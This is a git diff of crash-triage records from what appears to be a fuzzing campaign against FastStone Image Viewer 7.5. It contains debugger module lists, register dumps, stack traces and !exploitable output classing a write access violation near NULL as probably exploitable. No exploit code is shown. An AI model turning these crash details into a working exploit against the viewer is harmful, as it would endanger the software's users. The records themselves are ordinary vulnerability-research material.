00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(f20.1988): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.66825e+013 2.14048e-029 -3.32877e+035 -2.28233e+015 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d2000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d2000 bd702b4e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d2000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e85f7e1 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xF20: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xF20: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(f20.1988): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.66825e+013 2.14048e-029 -3.32877e+035 -2.28233e+015 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003d2000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003d2000 bd702b4e 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003d2000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10083/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a35f688 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..9555e2e --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/10365/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xB2C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xB2C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll 